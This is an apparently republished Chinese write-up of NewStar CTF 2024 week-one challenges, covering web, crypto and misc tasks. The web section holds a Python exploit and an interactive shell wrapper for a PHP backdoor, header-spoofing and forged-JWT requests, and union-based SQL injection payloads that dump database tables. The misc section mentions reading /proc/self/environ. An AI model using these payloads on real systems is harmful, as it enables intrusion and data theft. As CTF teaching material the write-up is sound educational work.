前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >2024 NEWSTAR CTF WEEK1 writeup (下)

2024 NEWSTAR CTF WEEK1 writeup (下)

作者头像
OneTS安全团队
发布2025-02-07 16:37:59
发布2025-02-07 16:37:59
7700
代码可运行
举报
文章被收录于专栏:OneTS安全团队OneTS安全团队
运行总次数:0
代码可运行

前言

本系列为CTF专栏篇,在此特别感谢上海电力大学白帽子网络安全社团供稿支持,ONETS安全团队也将持续关注CTF、AWD等竞赛题目分享。同时,欢迎大家投稿分享相关内容,或者关注公众号加入网络安全技术交流群共同探讨。

💌题目来源:NewStar CTF 2024 (https://ns.openctf.net/)

Web方向

🔹headach3

题目源码如下:

打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag.

关于响应头的具体内容,参见 HTTP 标头、响应标头:

https://developer.mozilla.org/en-US/docs/Glossary/Response_header

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers

🔹会赢吗?

本题考查的是网页和 JavaScript 的基础知识。

JavaScript 是现代网络开发中最重要的编程语言之一,它的历史充满了快速迭代、竞争、以及变革。它最早诞生于 1995 年,由 Brendan Eich 在短短 10 天内开发,并逐步演变成为如今的标准化、多功能的编程语言。

第一关

按下 F12,使用开发者工具查看源码

第二关

控制台是开发者调试 JavaScript 代码的利器,允许开发者在无需修改源代码的情况下,直接执行和测试代码。

这种即时反馈机制使得开发者可以迅速验证假设、检查问题或尝试新的代码逻辑。

仔细看源代码:

根据控制台的提示,只需要执行 revealFlag('4cqu1siti0n')(className 的值为 4cqu1siti0n)即可获得第二关的 flag。

第三关

修改前端,按下按钮得到一部分 flag.

第四关

源码中有<noscript>标签,可以使用浏览器插件或者浏览器设置禁用 JavaScript.

当然也可以直接根据前端逻辑去发送请求。

将 Flag 各个部分拼起来,随后 Base64 解密即可。

🔹智械危机

index.php 的基本提示:

明显的提示:查看 robots.txt,得到了路由 /backd0or.php

一个对新生来说略绕的 PHP 代码阅读,也对编写脚本、使用 WebShell 的能力进行初步的考查。

cmd 参数是Base64 编码后的 system 命令。

key 的验证逻辑:将cmd 参数值字符串翻转后,计算 MD5 哈希,并与 Base64 解码后的 key 进行比较。

因此我们将这个过程反过来,就可以得到解题 EXP:

代码语言:javascript
代码运行次数:0
复制
import requests
import base64
import hashlib
print("[+] Exploit for newstar_zhixieweiji")
url = "http://yourtarget.com/backd0or.php"
cmd = "cat /flag"
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {
    'cmd': cmd_encoded,
    'key': encoded_key
}
response = requests.post(url, data=payload)
print(f"[+] Flag: {response.text}")

EXP 使用了 requests 库负责请求后门 shell,也可以用任何一款能够发出 POST 请求的工具完成这一操作,如 HackBar、BurpSuite 等。

出题人的胡诌

请各位选手打好编程基础,不要浮躁。这题的代码逻辑应该懂一点英语就能够看懂了,变量名称也没做混淆。AI 可能会胡编,但是完全可以给你提取出足够的关键词用于搜索。

这题的出法不鼓励手搓!!!先编码再逆序,执行一个指令都费劲,flag 位置没猜对就得再搓一遍。只要脚本写好,这题完全可以得到一个简洁的交互式 shell:

附代码:

代码语言:javascript
代码运行次数:0
复制
import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):
    cmd_encoded = base64.b64encode(cmd.encode()).decode()
    cmd_reversed = cmd_encoded[::-1]
    hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
    encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
    payload = {'cmd': cmd_encoded,'key': encoded_key}
    response = requests.post(url, data=payload)
    return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:
    directory = execute_command("pwd")
    command = input(f"{username}@{hostname}:{directory}$ ")
    output = execute_command(command)
    print(output)

过完开头的剧情,自动跳转到第一关。如果没有跳转或跳转出现问题,可以手动访问路径 /start 以快速进入关卡界面。

第一关

第一关界面如下

下方文字给出了提示「Header」。打开浏览器的开发者工具,在「网络」(Network)选项卡中找到网页的初始请求,查看响应标头,有一个 Location 字段

访问这个路径,进入下一关。

第二关

题目提示了「Query」和 ask=miao,其中「Query」指的就是 GET 请求的请求参数,在URL中路径后面 ? 开始就是查询字段,用 & 分隔,遇到特殊字符需要进行 URL Encode 转义。因此我们访问路径 /?ask=miao 即可进入下一关。

第三关

第三关给出的提示为:

用另一种方法(Method)打声招呼(say=hello)吧 ~

我们在浏览器地址栏输入网址,默认的方法就是 GET,常见的方法还有 POST,在一些表单提交等界面会使用它,在 HTTP 请求报文中就是最开始的那个单词。因此本关用 POST 请求发一个 say=hello 的查询即可。

POST 的查询类型有很多种,通过 HTTP 报文中的 Content-Type 指定,以告诉服务端用何种方式解析报文 Body 的内容。

我们可以用任意方式,那么我们选择用 application/x-www-form-urlencoded 发送个 say=hello 的请求包即可。

使用浏览器的 HackBar 插件:

注意

如果使用 HackBar 插件,请在 Modify Header 一栏中删除 Cookie 字段(删除后会自动采用浏览器当前的 Cookie),或者请手动更新该字段。因为 Cookie 携带着关卡信息,如果不更新该值,将永远停留在同一关。

你也可以用 BurpSuite、Yakit、VSCode REST Client 插件、curl 等工具进行发送原始 HTTP 报文,然后将返回的 Set-Cookie 字段手动存入浏览器的 Cookie 中。

代码语言:javascript
代码运行次数:0
复制
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Cookie: 
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOI


say=hello

第四关

来到这一关后由于 302 跳转可能会变成 GET 请求,再次用 POST 请求(携带新 Cookie)访问,得到提示「Agent」和 Papa,应当想到考查的是 HTTP 请求头中的 User-Agent Header.

题目的要求比较严格,User-Agent 必须按照标准格式填写(参见 User-Agent - HTTP | MDN: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent),因此需携带任意版本号发送一个 POST 请求:

代码语言:javascript
代码运行次数:0
复制
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOI

say=hello

此时提示需要将 say 字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」),中文需要转义(HackBar 会自动处理中文的转义)。因此最终的报文为:

代码语言:javascript
代码运行次数:0
复制
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: OneTSTeam/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NH0.MDhNM30leuBXKpPLgqDnzmK3Zf2sAGdx8VtGcMf21k

Usay=%E7%8E%9B%E5%8D%A1%E5%B7%B4%E5%8D%A1%E9%98%BF%E5%8D%A1%E5%93%87%E5%8D%A1%E7%B1%B3%E5%8D%A1%E7%8E%9B%E5%8D%A1%E5%91%A3

如果使用 Hackbar,配置如下:

第五关

由于 302 跳转的缘故变成了 GET 请求,我们再用 POST 请求(携带新 Cookie)访问,得到的提示为:

或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。

这是要求我们使用 PATCH 方法发送一个 ZIP 文件。

这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。

PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。

例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

关于 multipart/form-data

这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。

本题只检查文件名后缀是否为.zip. 因此如此发包即可:

代码语言:javascript
代码运行次数:0
复制
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168
--abc
Content-Disposition: form-data; name="file"; filename="1.zip"
123
--abc
Content-Disposition: form-data; name="say"
玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

返回的内容如下

通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie 字段的 token 值应用更新。随后再次携带新 Cookie 刷新网页即可。

第六关

本题提示内容指出了 localhost,意在表明需要让服务器认为这是一个来自本地的请求。

可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。

以下任意一种请求都是可以的。

1.

代码语言:javascript
代码运行次数:0
复制
GET /?ask=miao HTTP/1.1
Host: localhost
Referer: http://localhost
Cookie: 
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

2.

代码语言:javascript
代码运行次数:0
复制
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Real-IP: 127.0.0.1
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

3.

代码语言:javascript
代码运行次数:0
复制
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Forwarded-For: 127.0.0.1
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

注意

如果修改 Host,你需要确保你的 HTTP 报文是发向靶机的。一些工具会默认自动采用 Host 作为远程地址,或者没有自定义远程地址的功能。

随后提示给出了一段话:

其中提到了 JWT 和 Pe2K7kxo8NMIkaeN,这个数字和字母组成内容推测应当是 JWT 的密钥。

JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息,但这是基于签名密钥没有泄露的情况下。

可以通过 JWT.IO (https://jwt.io/) 网站进行在线签名和验证(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的羡签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)。

将我们当前的 Cookie 粘贴入网站:

Payload,即 JWT 存放的数据,指明了当前的 Level 为 6,我们需要更改它,将它改为 0 即可。

可见左下角显示「Invalid Signautre」,即验签失败,粘贴入签名密钥之后,复制左侧 Encoded 的内容,回到靶机界面应用该 token 值修改 Cookie,再次刷新网页,即到达最终页面。

TIP

修改 level 为 0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。

但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。

第〇关·终章

点击提示中的「从梦中醒来」,过完一个片尾小彩蛋即获得 Flag 内容。

🔹谢谢皮蛋

本题考查的是 SQL 注入的相关知识,如果你从未了解和接触过数据库和 SQL 语句,你可能需要花费一定的时间快速了解并尝试。

题目考查数字型注入、联合注入

判断列数和回显位,其实看页面上的格式也基本可以判断

代码语言:javascript
代码运行次数:0
复制
sql
1 order by 2#-1 union select 1,2#
查看当前数据库
sql
-1 union select 1,database()#

查看当前数据库所有表名

代码语言:javascript
代码运行次数:0
复制
sql
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查看 Fl4g 表所有列名

代码语言:javascript
代码运行次数:0
复制
sql
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()#

查看值得到 flag

代码语言:javascript
代码运行次数:0
复制
sql
-1 union select group_concat(des),group_concat(value) from Fl4g#

Crypto方向

🔹xor

最简单的签到,但对完完全全零基础的同学来说,这道题涉及的知识点可能还不少,我们看题。

首先使用了两个 Python 库,pwntools 是 CTF nc 题的交互好工具(不仅仅是 pwn 题,密码、Misc 等的交互题也会用到),pycryptodome 是一个好用的密码学加密库。

确保 Python 环境正常后,在终端中分别输入以下命令进行安装:

代码语言:javascript
代码运行次数:0
复制
pip install pwntools
pip install pycryptodome

这些库未来它们会是你的好帮手。这里展现的功能都只是冰山一角,具体功能是什么我们稍后解释。

此处出题人刻意地定义 key 为 bytes 类型而 flag 为 str 类型。

Python3 重要的特性之一是对字符串和二进制数据流做了明确的区分。

文本总是 Unicode,由 str 类型表示,二进制数据则由 bytes 类型表示。

Python3 不会以任意隐式的方式混用 str 和 bytes,你不能拼接字符串和字节流,也无法在字节流里搜索字符串(反之亦然),也不能将字符串传入参数为字节流的函数(反之亦然)。需要进行编码操作才能转换为 bytes 类型进行后续的运算。

接着是 bytes_to_long 函数,从函数名也可以猜出来,这个函数是将 bytes 类型转换为数字,具体是怎么转换的?大家可以尝试的将最后的整数变成 16 进制来看,举个例子:

代码语言:javascript
代码运行次数:0
复制
text=b'NewStar'
print(bytes_to_long(text))
# 22066611359080818
print(hex(bytes_to_long(text)))
# 0x4e657753746172

从 16 进制来看就很直观了 0x4e657753746172,N 的 ASCII 值是 78=0x4e,e 的 ASCII值是 101=0x65,以此类推,直观来看就是把 16 进制数串连起来,我们就把 bytes 类型的 NewStar 转成了一个整数。

那么我们终于进入了这道题考查的重点——异或(XOR),在某些书中也称它为「模二加」。异或运算的规则是:

  • 当两个输入位不同时,输出为 1
  • 当两个输入位相同时,输出为 0

就像不进位的模2加法一样。异或在编程语言中常用符号 ^ 表示,在数学中常用符号 ⊕ 表示

当两个数异或之后,异或的结果与其中一个数再异或即可得到剩下的一个数字。

此处我使用了 2 种方式进行异或:一个是直接用 ^ 对整数进行运算;另一个是用 pwntools 中的 xor(),它可以将不同类型和长度的数据进行异或。

既然已知 key 的话,利用异或的性质,再异或 1 次即可获得 flag.

代码语言:javascript
代码运行次数:0
复制
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long

key = b'New_Star_CTF'

c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'

m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)

flag = long_to_bytes(m1) + m2
print(flag)
# flag{0ops!_you_know_XOR!}

🔹Base

这题就是很简单的 Base 编码,也可以从题目描述里面看的出来,知道是 Base 编码就可以尝试一下,使用 CyberChef 就能直接一把梭。

但 Base 编码的原理又是怎么样的?我们也可以来细致研究一下。

我们可以从最常见的 Base64 开始。

加密流程

1、转化为二进制

首先是将所需要加密的数据转换为二进制的数据,至于怎么将字母一类的数据转换为二进制,这就可以使用 ASCII 表去对应一下

这样的话我们就可以将字母数字转换为ASCII值了,举个例子,ctf 对应的十进制和二进制为

拼接之后就是,ctf 对应的二进制为 011000110111010001100110。

TIP

我们要注意的是,一个字母数字占8位,所以转换为二进制时若不足八位,在前面需要添零

2、二进制截断

随后就是进行截断,因为是 Base64 编码(可以记住这个规律,2 的多少次方就按多少截断),所以是按 6 位进行截断。可以参考下面的图去理解一下:

这里将索引转换为 Base64 编码,还需要一张对应的表(Base64 编码表),一般常用的 Base64 的表如下:

这样我们就可以自己尝试去转换一下:

这样我们就成功将数据成功进行 Base64 编码了,即 ctf 对应的 Base64 编码为 Y3Rm。

拓展

对于其他的 Base 类型的编码,我们只需要知道对应的编码表,即可进行对应的编解码了。

🔹一眼秒了

在做题之前可以先看一下 RSA 算法原理详解、RSA 算法原理 这两篇文章,或者自己找一些文章学一下这个加密算法。

参考学习链接:

https://blog.csdn.net/dbs1215/article/details/48953589

https://blog.csdn.net/qq_36665989/article/details/123184780

拿到题目我们可以看到这个 n 比较小,那么我们就可以考虑分解 n 得到 p 和 q.

推荐一个在线网站 FactorDB 或者离线工具 CaptfEncoder.

分解得到 p 和 q,随后就是常规的解密流程了。

代码语言:javascript
代码运行次数:0
复制
from Crypto.Util.number import *
from gmpy2 import *

n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
assert p*q == n
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

🔹Strange King

题目描述如下:

某喜欢抽锐刻 5 的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给😅 这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag 包裹的是可读的明文

不难猜到是魔改的凯撒密码。题目描述中的数字 5 就是初始偏移量。「每天进步一些」代表偏移量在递增,对 26 取模后会到原点,偏移量每次增加是 26 的因子,此处是 2.

况且出题人连 {} 都没删掉,把 ksjr 和 flag 对照起来看也能看出来了吧!可以说是非常简单的古典密码了)

根据以上信息即可解出 flag。

代码语言:javascript
代码运行次数:0
复制
def caesar(c, shift):
    result = ""
    for i in c:
        if i.isalpha():
            start = ord('A') if i.isupper() else ord('a')
            result += chr((ord(i) - start - shift) % 26 + start)
        else:
            result += i
        shift += 2
    return result
c = 'ksjr{EcxvpdErSvcDgdgEzxqjql}'
shift = 5
flag = caesar(c, shift)
print("flag:", flag)

Misc方向

🔹decompress

根据给的正则表达式提示,密码是三位小写字母一位数字再加一位小写字母,共五位。爆破出来是xtr4m

出题人使用的是不知道从哪下载的 passware,爆破了两分钟就出来了。

有些同学反映自己写脚本爆破不行,出题人用的压缩软件是 7zip,可能是因为每个压缩包分卷太小,7zip 为了防止 CRC 碰撞,压缩包里没有原始的 CRC 校验导致的。这确实是没考虑到的问题。

🔹WhereIsFlag

在后续,大家会接触到很多拿到服务器Shell后找到flag的场景。本题主要考查了这部分知识,在各个常见位置设置了或真或假的flag。并且介绍了cd ls cat 等常用命令的基础用法。

其实这题的后端是个 Python 程序(嘛,都说了是 Virtual Linux 了啦)(喜欢椰奶精心设计的雌小鬼版 Linux 吗)

真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.

代码语言:javascript
代码运行次数:0
复制
flag.
shell
cat /proc/self/environ
proc 目录是对当前操作系统进程的虚拟映射,在许多攻击场景中都有妙用,在此不展开。

🔹pleasingMusic

题目描述中提到:

一首歌可以好听到正反都好听

根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)

可以手动翻译摩斯电码表,也可以使用在线解码。

🔹Labyirinth

题目描述如下:

听好了:9 月 23 日,NewStar2024 就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。

你所熟知的一切都将改变,你所熟悉的 flag 都将加诸隐写的历练。

至此,一锤定音。尘埃,已然落定。 #newstar# #LSB# #听好了#

其中提到了 LSB,即最低有效位隐写

使用 StegSolve 工具,查看 RGB 任一0通道得到二维码,扫描得到 flag

🔹兑换码

使用十六进制编辑器直接加大图片的 IHDR 高即可看到 flag

PNG 文件头具体可以参考下面介绍:

  • 89 50 4E 47 0D 0A 1A 0A 代表 PNG 文件头
  • 49 48 44 52 代表 IHDR 头,IHDR 是 PNG 文件的图像头信息
  • 00 00 0A 6D 代表宽度为 A6D(2669)像素
  • 00 00 0C DE 代表高度为 CDE(3294)像素

注:PNG 规范规定 IHDR 的高度可以任意修改,但宽度不能随意修改。

随时了解新动态,更多干货等着你‍

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-10-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneTS安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档